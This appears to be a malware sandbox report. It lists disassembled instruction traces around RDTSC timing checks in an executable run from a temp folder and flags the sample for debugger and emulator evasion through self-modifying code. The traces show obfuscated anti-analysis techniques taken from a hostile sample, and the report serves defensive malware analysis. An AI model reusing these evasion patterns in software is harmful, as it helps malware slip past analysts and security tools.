Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A102E0 second address: 4A10308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F0FAAC47EE3h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0F38729BC8h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A10308 second address: 4A10421 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 6B72BFD4h 0x00000008 pushfd 0x00000009 jmp 00007F0F38F9522Dh 0x0000000e xor si, C696h 0x00000013 jmp 00007F0F38F95231h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c cmp dword ptr [esi+08h], DDEEDDEEh 0x00000023 jmp 00007F0F38F9522Eh 0x00000028 je 00007F0FAB4B3504h 0x0000002e jmp 00007F0F38F95230h 0x00000033 mov edx, dword ptr [esi+44h] 0x00000036 pushad 0x00000037 mov edi, ecx 0x00000039 pushfd 0x0000003a jmp 00007F0F38F9522Ah 0x0000003f xor ecx, 46CD0118h 0x00000045 jmp 00007F0F38F9522Bh 0x0000004a popfd 0x0000004b popad 0x0000004c or edx, dword ptr [ebp+0Ch] 0x0000004f jmp 00007F0F38F95236h 0x00000054 test edx, 61000000h 0x0000005a pushad 0x0000005b pushfd 0x0000005c jmp 00007F0F38F9522Eh 0x00000061 sub ecx, 1AA022A8h 0x00000067 jmp 00007F0F38F9522Bh 0x0000006c popfd 0x0000006d jmp 00007F0F38F95238h 0x00000072 popad 0x00000073 jne 00007F0FAB4B34CDh 0x00000079 push eax 0x0000007a push edx 0x0000007b pushad 0x0000007c pushfd 0x0000007d jmp 00007F0F38F9522Dh 0x00000082 sub ax, 2D76h 0x00000087 jmp 00007F0F38F95231h 0x0000008c popfd 0x0000008d call 00007F0F38F95230h 0x00000092 pop eax 0x00000093 popad 0x00000094 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A10421 second address: 4A1046A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, 9Dh 0x00000005 pushfd 0x00000006 jmp 00007F0F38729BC3h 0x0000000b adc si, 235Eh 0x00000010 jmp 00007F0F38729BC9h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 test byte ptr [esi+48h], 00000001h 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov edx, 3E13A8BEh 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A1046A second address: 4A1046F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A1046F second address: 4A104B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop edi 0x00000005 pushfd 0x00000006 jmp 00007F0F38729BBCh 0x0000000b jmp 00007F0F38729BC5h 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 jne 00007F0FAAC47DBDh 0x0000001a jmp 00007F0F38729BBEh 0x0000001f test bl, 00000007h 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A104B7 second address: 4A104BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A104BB second address: 4A104C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A104C1 second address: 4A104C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A104C7 second address: 4A104CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A00808 second address: 4A0083B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F95239h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F0F38F9522Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A0083B second address: 4A0083F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A0083F second address: 4A00845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A00845 second address: 4A0085B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F38729BC2h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A0085B second address: 4A008EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F9522Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F0F38F95236h 0x00000011 mov ebp, esp 0x00000013 jmp 00007F0F38F95230h 0x00000018 and esp, FFFFFFF8h 0x0000001b jmp 00007F0F38F95230h 0x00000020 xchg eax, ebx 0x00000021 pushad 0x00000022 mov al, 68h 0x00000024 pushfd 0x00000025 jmp 00007F0F38F95233h 0x0000002a and ax, 00DEh 0x0000002f jmp 00007F0F38F95239h 0x00000034 popfd 0x00000035 popad 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F0F38F9522Ch 0x0000003e rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A008EF second address: 4A008F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A008F5 second address: 4A009B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F9522Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F0F38F9522Ch 0x00000013 adc ecx, 5C434B38h 0x00000019 jmp 00007F0F38F9522Bh 0x0000001e popfd 0x0000001f call 00007F0F38F95238h 0x00000024 mov ah, A1h 0x00000026 pop edi 0x00000027 popad 0x00000028 xchg eax, esi 0x00000029 jmp 00007F0F38F9522Ah 0x0000002e push eax 0x0000002f pushad 0x00000030 mov ecx, edi 0x00000032 call 00007F0F38F9522Dh 0x00000037 jmp 00007F0F38F95230h 0x0000003c pop esi 0x0000003d popad 0x0000003e xchg eax, esi 0x0000003f jmp 00007F0F38F95231h 0x00000044 mov esi, dword ptr [ebp+08h] 0x00000047 jmp 00007F0F38F9522Eh 0x0000004c sub ebx, ebx 0x0000004e jmp 00007F0F38F95231h 0x00000053 test esi, esi 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 mov esi, edx 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A009B1 second address: 4A009CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 mov edx, 11A3C000h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d je 00007F0FAAC4F586h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov edx, esi 0x00000018 mov edi, ecx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A009CC second address: 4A00A4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 7Ch 0x00000005 jmp 00007F0F38F95230h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d cmp dword ptr [esi+08h], DDEEDDEEh 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F0F38F9522Eh 0x0000001b sub cx, 30A8h 0x00000020 jmp 00007F0F38F9522Bh 0x00000025 popfd 0x00000026 pushfd 0x00000027 jmp 00007F0F38F95238h 0x0000002c adc cl, 00000008h 0x0000002f jmp 00007F0F38F9522Bh 0x00000034 popfd 0x00000035 popad 0x00000036 mov ecx, esi 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F0F38F95235h 0x0000003f rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A00A4E second address: 4A00A5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F38729BBCh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A00A5E second address: 4A00A7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F9522Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F0FAB4BAB5Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A00A7B second address: 4A00A7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A00A7F second address: 4A00A83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A00A83 second address: 4A00A89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A00A89 second address: 4A00ABC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F9522Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [76FB6968h], 00000002h 0x00000010 pushad 0x00000011 call 00007F0F38F9522Eh 0x00000016 push eax 0x00000017 pop ebx 0x00000018 pop ecx 0x00000019 popad 0x0000001a jne 00007F0FAB4BAB2Bh 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 mov edx, eax 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A00ABC second address: 4A00B66 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F0F38729BC0h 0x00000008 or esi, 5FF6CC88h 0x0000000e jmp 00007F0F38729BBBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushfd 0x00000017 jmp 00007F0F38729BC8h 0x0000001c sub ah, FFFFFFE8h 0x0000001f jmp 00007F0F38729BBBh 0x00000024 popfd 0x00000025 popad 0x00000026 mov edx, dword ptr [ebp+0Ch] 0x00000029 jmp 00007F0F38729BC6h 0x0000002e xchg eax, ebx 0x0000002f jmp 00007F0F38729BC0h 0x00000034 push eax 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007F0F38729BC1h 0x0000003c xor esi, 3B36A666h 0x00000042 jmp 00007F0F38729BC1h 0x00000047 popfd 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b pop edx 0x0000004c rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A00B66 second address: 4A00BD9 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F0F38F9522Ah 0x00000008 jmp 00007F0F38F95235h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 xchg eax, ebx 0x00000012 pushad 0x00000013 mov di, cx 0x00000016 popad 0x00000017 xchg eax, ebx 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F0F38F95230h 0x0000001f jmp 00007F0F38F95235h 0x00000024 popfd 0x00000025 mov edx, eax 0x00000027 popad 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F0F38F95238h 0x00000030 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A00BD9 second address: 4A00C00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38729BBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0F38729BC5h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A00C00 second address: 4A00C27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F95231h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+14h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0F38F9522Dh 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A00C27 second address: 4A00C5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0F38729BBAh 0x00000009 and ecx, 253AB518h 0x0000000f jmp 00007F0F38729BBBh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push dword ptr [ebp+10h] 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e call 00007F0F38729BBBh 0x00000023 pop ecx 0x00000024 push ebx 0x00000025 pop eax 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A00C5F second address: 4A00C75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F0F38F95230h 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A00C8D second address: 4A00C93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A00C93 second address: 4A00CE0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F9522Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F0F38F95233h 0x00000015 and si, C94Eh 0x0000001a jmp 00007F0F38F95239h 0x0000001f popfd 0x00000020 mov ebx, ecx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A00CE0 second address: 4A00CFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F38729BC8h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A00CFC second address: 4A00D2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F9522Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov cx, bx 0x00000012 call 00007F0F38F95237h 0x00000017 pop ecx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A00D2D second address: 4A00D62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38729BC6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esp, ebp 0x0000000b pushad 0x0000000c pushad 0x0000000d movzx ecx, di 0x00000010 mov ebx, 67CA64FCh 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 call 00007F0F38729BBBh 0x0000001d pop esi 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A00D62 second address: 4A00D66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A10E48 second address: 4A10ECB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38729BBEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, 44A800B1h 0x0000000e popad 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F0F38729BBCh 0x00000015 push eax 0x00000016 jmp 00007F0F38729BBBh 0x0000001b xchg eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F0F38729BBBh 0x00000025 or ax, E2CEh 0x0000002a jmp 00007F0F38729BC9h 0x0000002f popfd 0x00000030 pushfd 0x00000031 jmp 00007F0F38729BC0h 0x00000036 sub si, CB48h 0x0000003b jmp 00007F0F38729BBBh 0x00000040 popfd 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A10ECB second address: 4A10ED1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A10B3D second address: 4A10B41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A10B41 second address: 4A10B8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 movzx esi, bx 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e call 00007F0F38F95230h 0x00000013 pop eax 0x00000014 pushfd 0x00000015 jmp 00007F0F38F9522Bh 0x0000001a sub eax, 3BF5774Eh 0x00000020 jmp 00007F0F38F95239h 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A906E6 second address: 4A90724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 xchg eax, ebp 0x00000007 pushad 0x00000008 movzx ecx, di 0x0000000b mov di, 6456h 0x0000000f popad 0x00000010 push eax 0x00000011 jmp 00007F0F38729BBCh 0x00000016 xchg eax, ebp 0x00000017 jmp 00007F0F38729BC0h 0x0000001c mov ebp, esp 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F0F38729BBAh 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A90724 second address: 4A9072A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A9072A second address: 4A90730 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A90730 second address: 4A90734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A90734 second address: 4A90771 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38729BC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movsx ebx, cx 0x00000012 call 00007F0F38729BC6h 0x00000017 pop ecx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A8073A second address: 4A8073E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A8073E second address: 4A80742 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A80742 second address: 4A80748 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A80748 second address: 4A80787 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38729BC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F0F38729BC6h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F0F38729BBEh 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A80787 second address: 4A807DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, dl 0x00000005 pushfd 0x00000006 jmp 00007F0F38F9522Ah 0x0000000b sub eax, 6D9CC248h 0x00000011 jmp 00007F0F38F9522Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b jmp 00007F0F38F95236h 0x00000020 mov ebp, esp 0x00000022 pushad 0x00000023 mov esi, 1D8DF2FDh 0x00000028 mov cx, C1F9h 0x0000002c popad 0x0000002d pop ebp 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F0F38F9522Bh 0x00000035 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A807DE second address: 4A807E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A807E4 second address: 4A807E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A807E8 second address: 4A807EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A202EC second address: 4A202FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F9522Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A202FB second address: 4A20301 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A20301 second address: 4A20305 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A20305 second address: 4A20328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0F38729BC6h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A20328 second address: 4A20337 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F9522Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A20337 second address: 4A2033D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A2033D second address: 4A20341 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A20341 second address: 4A203A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c mov ax, di 0x0000000f mov si, dx 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 jmp 00007F0F38729BBBh 0x0000001a pop ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov ebx, 7385E806h 0x00000023 pushfd 0x00000024 jmp 00007F0F38729BC7h 0x00000029 adc ax, 8E8Eh 0x0000002e jmp 00007F0F38729BC9h 0x00000033 popfd 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A80C4A second address: 4A80C62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F38F95234h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A80C62 second address: 4A80C97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a mov edi, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushfd 0x0000000f jmp 00007F0F38729BC4h 0x00000014 add eax, 1C3A0E48h 0x0000001a jmp 00007F0F38729BBBh 0x0000001f popfd 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A80C97 second address: 4A80D1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], ebp 0x0000000a pushad 0x0000000b mov dx, cx 0x0000000e mov ax, E88Dh 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 pushad 0x00000016 jmp 00007F0F38F95236h 0x0000001b pushfd 0x0000001c jmp 00007F0F38F95232h 0x00000021 or ax, 4308h 0x00000026 jmp 00007F0F38F9522Bh 0x0000002b popfd 0x0000002c popad 0x0000002d push dword ptr [ebp+0Ch] 0x00000030 pushad 0x00000031 mov si, DA9Bh 0x00000035 pushfd 0x00000036 jmp 00007F0F38F95230h 0x0000003b add ah, 00000068h 0x0000003e jmp 00007F0F38F9522Bh 0x00000043 popfd 0x00000044 popad 0x00000045 push dword ptr [ebp+08h] 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d popad 0x0000004e rdtsc

Tries to evade debugger and weak emulator (self modifying code)

